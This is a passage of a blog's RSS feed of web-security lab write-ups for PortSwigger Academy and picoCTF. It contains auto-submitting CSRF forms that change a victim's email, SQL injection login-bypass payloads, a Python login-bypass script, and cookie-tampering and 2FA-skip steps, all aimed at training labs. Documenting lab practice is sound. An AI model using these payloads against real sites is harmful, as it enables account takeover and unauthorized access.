&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CSRF where token validation depends on request method | &lt;span style="color:#3498db">Practitioner&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner1/</link><pubDate>Thu, 04 Jun 2026 13:44:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-practioner1/</guid><description>&lt;p>Upon viewing the page source, the form correctly asks for the CSRF token when the request uses the POST method. But the one for GET is nowhere to be found.
&lt;img src="https://panman4040.github.io/images/f45f63f1-0c80-439d-9aa1-0040bf5ed123.jpg" alt="">&lt;/p>
&lt;p>We can just change our existing payload to use GET instead of POST as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;GET&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>CSRF vulnerability with no defenses | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/csrf/csrf-apprentice1/</link><pubDate>Thu, 04 Jun 2026 10:54:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/csrf/csrf-apprentice1/</guid><description>&lt;p>Upon inspecting the form, we can verify that it has no CSRF protection:
&lt;img src="https://panman4040.github.io/images/a361435f-e3cc-4778-8a04-73ce894ad85b.jpg" alt="">
Therefore, our payload on our exploit server can simply be as follow:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">form&lt;/span> &lt;span style="color:#a6e22e">action&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/change-email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">method&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;POST&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">id&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">input&lt;/span> &lt;span style="color:#a6e22e">type&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;hidden&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">name&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;email&amp;#34;&lt;/span> &lt;span style="color:#a6e22e">value&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;super-ultimate-hacker@leet-hacker.net&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">form&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>document.&lt;span style="color:#a6e22e">getElementById&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;attack&amp;#34;&lt;/span>).&lt;span style="color:#a6e22e">submit&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// redirect user after the request is sent
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#a6e22e">setTimeout&lt;/span>(&lt;span style="color:#66d9ef">function&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> window.&lt;span style="color:#a6e22e">location&lt;/span>.&lt;span style="color:#a6e22e">href&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;https://&amp;lt;lab-id&amp;gt;.web-security-academy.net/my-account/&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}, &lt;span style="color:#ae81ff">1000&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">script&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Upon clicking on the malicious page, the browser immediately and silently, with the input type being &lt;code>hidden&lt;/code>, updates the email address of that user with whatever &lt;code>value&lt;/code>.&lt;/p></description></item><item><title>Irish-Name-Repo 2</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/irish-name2/</link><pubDate>Wed, 03 Jun 2026 17:10:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/irish-name2/</guid><description>&lt;p>This is similar to Irish-Name-Repo 1, but with a filter active. Through trials and errors we &lt;em>can&lt;/em> deduce that the filter actively blocks common SQL injection terms like &lt;code>UNION&lt;/code> or &lt;code>OR&lt;/code>.&lt;/p>
&lt;p>To bypass this we can just apply the payload &lt;code>admin'--&lt;/code> into the username form. Not only will it skip the password verification but also avoid using those filtered terms.&lt;/p></description></item><item><title>Irish-Name-Repo 1</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/irish-name1/</link><pubDate>Wed, 03 Jun 2026 16:39:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/irish-name1/</guid><description>&lt;p>Firstly, it&amp;rsquo;s good practice to purposely input trash values into the form. In this case we will be trying &lt;code>'&lt;/code> for username
&lt;img src="https://panman4040.github.io/images/bc7b054e-bf90-4ab8-89b7-573a1d698f45.jpg" alt="">
We can see that the users are kept in a SQLite3 database, and all our input are passed into the query without validation.&lt;/p>
&lt;p>Thus we try the good old payload &lt;code>' OR 1=1--&lt;/code>, which will bypass the password check and we will get our flag&lt;/p></description></item><item><title>SQL injection vulnerability allowing login bypass | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice2/</link><pubDate>Wed, 03 Jun 2026 15:22:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice2/</guid><description>&lt;p>Very straightforward lab. Since we are trying to login as &lt;code>administrator&lt;/code>, we can simply bypass the password check by having our payload as follow:&lt;/p>
&lt;pre tabindex="0">&lt;code>administrator&amp;#39;--
&lt;/code>&lt;/pre>&lt;p>The trailing &lt;code>--&lt;/code> will comment out everything proceeding it, thus skipping the password check&lt;/p>
&lt;p>Alternatively, we can solve this with a Python script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> webbrowser
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> requests
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> urllib.parse
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">def&lt;/span> &lt;span style="color:#a6e22e">inject&lt;/span>(url):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Remove trailing slash&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url &lt;span style="color:#f92672">=&lt;/span> url&lt;span style="color:#f92672">.&lt;/span>rstrip(&lt;span style="color:#e6db74">&amp;#34;/&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Preparing payload&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">{&lt;/span>url&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">/login&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> params &lt;span style="color:#f92672">=&lt;/span> {&lt;span style="color:#e6db74">&amp;#34;username&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;administrator&amp;#39;--&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;password&amp;#34;&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;qwerty&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Initiate request&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> response &lt;span style="color:#f92672">=&lt;/span> requests&lt;span style="color:#f92672">.&lt;/span>post(url, data&lt;span style="color:#f92672">=&lt;/span>params, allow_redirects&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#66d9ef">True&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># Verify status code and open the webpage&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> response&lt;span style="color:#f92672">.&lt;/span>status_code &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">200&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#e6db74">&amp;#34;Log out&amp;#34;&lt;/span> &lt;span style="color:#f92672">in&lt;/span> response&lt;span style="color:#f92672">.&lt;/span>text:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">&amp;#34;Log in as administrator!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">&amp;#34;Failed to log in. Try again&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">&amp;#34;Cannot initiate request&amp;#34;&lt;/span>) 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">if&lt;/span> __name__ &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;__main__&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(sys&lt;span style="color:#f92672">.&lt;/span>argv) &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> print(&lt;span style="color:#e6db74">f&lt;/span>&lt;span style="color:#e6db74">&amp;#34;Usage: python3 &lt;/span>&lt;span style="color:#e6db74">{&lt;/span>sys&lt;span style="color:#f92672">.&lt;/span>argv[&lt;span style="color:#ae81ff">0&lt;/span>]&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74"> &amp;lt;url&amp;gt;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#f92672">.&lt;/span>exit(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> inject(sys&lt;span style="color:#f92672">.&lt;/span>argv[&lt;span style="color:#ae81ff">1&lt;/span>])
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>SQL injection vulnerability in WHERE clause allowing retrieval of hidden data | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice1/</link><pubDate>Wed, 03 Jun 2026 14:31:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/sqli/sqli_apprentice1/</guid><description>&lt;p>We know that the application carry out the following query:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#66d9ef">FROM&lt;/span> products &lt;span style="color:#66d9ef">WHERE&lt;/span> category &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;Gifts&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">AND&lt;/span> released &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To view all the unreleased product, my payload is:&lt;/p>
&lt;pre tabindex="0">&lt;code>Pets&amp;#39; OR 1=1 AND released = 0--
&lt;/code>&lt;/pre>&lt;p>The &lt;code>1=1&lt;/code> expression ensures the application displays every category. Thus the query shall be:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sql" data-lang="sql">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">SELECT&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#66d9ef">FROM&lt;/span> products &lt;span style="color:#66d9ef">WHERE&lt;/span> category &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;Pets&amp;#39;&lt;/span> &lt;span style="color:#66d9ef">OR&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#66d9ef">AND&lt;/span> released &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#75715e">--&amp;#39; AND released = 1
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Alternatively, we can &amp;ldquo;automate&amp;rdquo; this with the following Python script. This can serve as a barebone template for future use:&lt;/p></description></item><item><title>2FA simple bypass | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/authentication/2fa-simple-bypass/</link><pubDate>Tue, 02 Jun 2026 16:14:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/authentication/2fa-simple-bypass/</guid><description>&lt;p>This excerpt from PortSwigger sums this up pretty nicely:&lt;/p>
&lt;p>&amp;ldquo;At times, the implementation of two-factor authentication is flawed to the point where it can be bypassed entirely.&lt;/p>
&lt;p>If the user is first prompted to enter a password, and then prompted to enter a verification code on a separate page, the user is effectively in a &amp;ldquo;logged in&amp;rdquo; state before they have entered the verification code. In this case, it is worth testing to see if you can directly skip to &amp;ldquo;logged-in only&amp;rdquo; pages after completing the first authentication step. Occasionally, you will find that a website doesn&amp;rsquo;t actually check whether or not you completed the second step before loading the page.&amp;rdquo;&lt;/p></description></item><item><title>Username enumeration via different responses | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/authentication/username-enumeration-via-different-responses/</link><pubDate>Tue, 02 Jun 2026 15:23:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/authentication/username-enumeration-via-different-responses/</guid><description>&lt;p>Using the provided username and password wordlists, my initial solution is to simply run a cluster bomb attack in Intruder to test all permutations possible. But on the Community version this took an excruciatingly long time because of the rate limit.&lt;/p>
&lt;p>Another way to do this is to perform a sniper attack to enumerate only the valid usernames first, and from there we have a much shorter list of usernames to check their passwords.&lt;/p></description></item><item><title>User role controlled by request parameter | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/user-role-controlled-by-request-parameter/</link><pubDate>Tue, 02 Jun 2026 15:00:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/user-role-controlled-by-request-parameter/</guid><description>&lt;p>We can simply intercept the request to &lt;code>/admin&lt;/code> and change the cookie as follow:
&lt;img src="https://panman4040.github.io/images/0b2bf73e-c606-4bf4-ad4f-e673d0c0ba56.jpg" alt="">
After that, we can delete the user &lt;code>carlos&lt;/code> and solve the lab.&lt;/p></description></item><item><title>Unprotected Admin Functionality | &lt;span style="color:#2ecc71">Apprentice&lt;/span></title><link>https://panman4040.github.io/training/portswigger/access_control/unprotected-admin-functionality/</link><pubDate>Tue, 02 Jun 2026 14:43:16 +0800</pubDate><guid>https://panman4040.github.io/training/portswigger/access_control/unprotected-admin-functionality/</guid><description>&lt;p>Just as the name implies, we are set out to look for an admin panel. Simply access &lt;code>robots.txt&lt;/code> that they convieniently left for us:
&lt;img src="https://panman4040.github.io/images/unprotected-admin-functionality.jpg" alt="">
From there we can delete the &lt;code>carlos&lt;/code> user from the server.&lt;/p>
&lt;p>Besides accessing &lt;code>robots.txt&lt;/code>, we can also utilise the Site Map feature of Burp Suite as follow:
&lt;img src="https://panman4040.github.io/images/unprotected-admin-functionality2.jpg" alt="">&lt;/p></description></item><item><title>Power Cookie</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/powercookie/</link><pubDate>Tue, 02 Jun 2026 14:20:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/powercookie/</guid><description>&lt;p>We use Burp Suite to intercept the GET request, change the &lt;code>isAdmin&lt;/code> cookie to True and we&amp;rsquo;ll get our flag:
&lt;img src="https://panman4040.github.io/images/powercookie.jpg" alt="">&lt;/p></description></item><item><title>IntroToBurp</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/introtoburp/</link><pubDate>Tue, 02 Jun 2026 14:06:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/introtoburp/</guid><description>&lt;p>This is a simple webpage asking for credentials, then an OTP:
&lt;img src="https://panman4040.github.io/images/introtoburp1.jpg" alt="">
If we delete the &lt;code>otp&lt;/code> parameter entirely before sending the POST request, we can actually &lt;em>bypass&lt;/em> the check, per se:
&lt;img src="https://panman4040.github.io/images/introtoburp2.jpg" alt="">
There we can get our flag. Pretty fun problem.&lt;/p></description></item><item><title>WebDecode</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/webdecode/</link><pubDate>Tue, 02 Jun 2026 11:01:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/webdecode/</guid><description>&lt;p>Upon accessing the source file for about.html, there is a peculiar flag:
&lt;img src="https://panman4040.github.io/images/web-decode.jpg" alt="alt-text">
By trial and error, we can figure out this is Base64 encoded. Decode and we shall get our flag (not gonna lie took an embarassingly long time for this)&lt;/p></description></item><item><title>client-side-again</title><link>https://panman4040.github.io/training/picoctf/web_exploitation/client-side-again/</link><pubDate>Tue, 02 Jun 2026 10:35:16 +0800</pubDate><guid>https://panman4040.github.io/training/picoctf/web_exploitation/client-side-again/</guid><description>&lt;p>Upon checking the JS source code, we are greeted with this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">_0x5a46&lt;/span> &lt;span style="color:#f92672">=&lt;/span> [&lt;span style="color:#e6db74">&amp;#39;daf93}&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;_again_4&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;this&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;Password\x20Verified&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;Incorrect\x20password&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;getElementById&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;value&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;substring&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;picoCTF{&amp;#39;&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;not_this&amp;#39;&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(&lt;span style="color:#66d9ef">function&lt;/span>(&lt;span style="color:#a6e22e">_0x4bd822&lt;/span>, &lt;span style="color:#a6e22e">_0x2bd6f7&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">_0xb4bdb3&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">function&lt;/span>(&lt;span style="color:#a6e22e">_0x1d68f6&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">while&lt;/span> (&lt;span style="color:#f92672">--&lt;/span>&lt;span style="color:#a6e22e">_0x1d68f6&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_0x4bd822&lt;/span>[&lt;span style="color:#e6db74">&amp;#39;push&amp;#39;&lt;/span>](&lt;span style="color:#a6e22e">_0x4bd822&lt;/span>[&lt;span style="color:#e6db74">&amp;#39;shift&amp;#39;&lt;/span>]());
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_0xb4bdb3&lt;/span>(&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#a6e22e">_0x2bd6f7&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}(&lt;span style="color:#a6e22e">_0x5a46&lt;/span>, &lt;span style="color:#ae81ff">0x1b3&lt;/span>));
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">_0x4b5b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">function&lt;/span>(&lt;span style="color:#a6e22e">_0x2d8f05&lt;/span>, &lt;span style="color:#a6e22e">_0x4b81bb&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_0x2d8f05&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">_0x2d8f05&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">_0x4d74cb&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#a6e22e">_0x5a46&lt;/span>[&lt;span style="color:#a6e22e">_0x2d8f05&lt;/span>];
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">_0x4d74cb&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>};
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">function&lt;/span> &lt;span style="color:#a6e22e">verify&lt;/span>() {
